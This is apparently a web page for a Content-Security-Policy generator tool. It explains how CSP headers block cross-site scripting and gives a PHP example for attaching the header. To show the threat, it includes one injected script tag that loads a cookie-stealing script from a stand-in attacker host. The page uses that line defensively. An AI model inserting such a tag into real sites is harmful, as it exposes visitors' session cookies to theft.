Content Security Policy (CSP) Generator

Use this tool to visually construct a highly secure Content-Security-Policy (CSP) HTTP header for your web application. It takes the guesswork out of writing the complex syntax required to lock down your website.

A CSP is the single most powerful defense mechanism available to web developers to prevent Cross-Site Scripting (XSS) and data injection attacks. It explicitly tells the visitor's web browser exactly which external domains are allowed to load scripts, images, styles, and fonts on your page.

How it works

Without a CSP, if a hacker manages to inject a malicious <script src="http://hacker.com/steal.js"> tag into your website's comments section, every visitor's browser will blindly download and execute that script, stealing their session cookies.

The Allowlist Approach: A CSP changes the browser's default behavior from "trust everything" to "trust nothing except what is explicitly whitelisted." By defining a strict default-src 'self', you command the browser to only load resources that originate from your own domain name. The hacker's script will be instantly blocked and neutralized by the browser itself.

Implementation: Once you generate your policy string using this tool, you must configure your web server (Apache, Nginx, or via PHP code) to attach it as an HTTP response header to every page load. For example, in PHP you would use: header("Content-Security-Policy: default-src 'self'...");

Frequently asked questions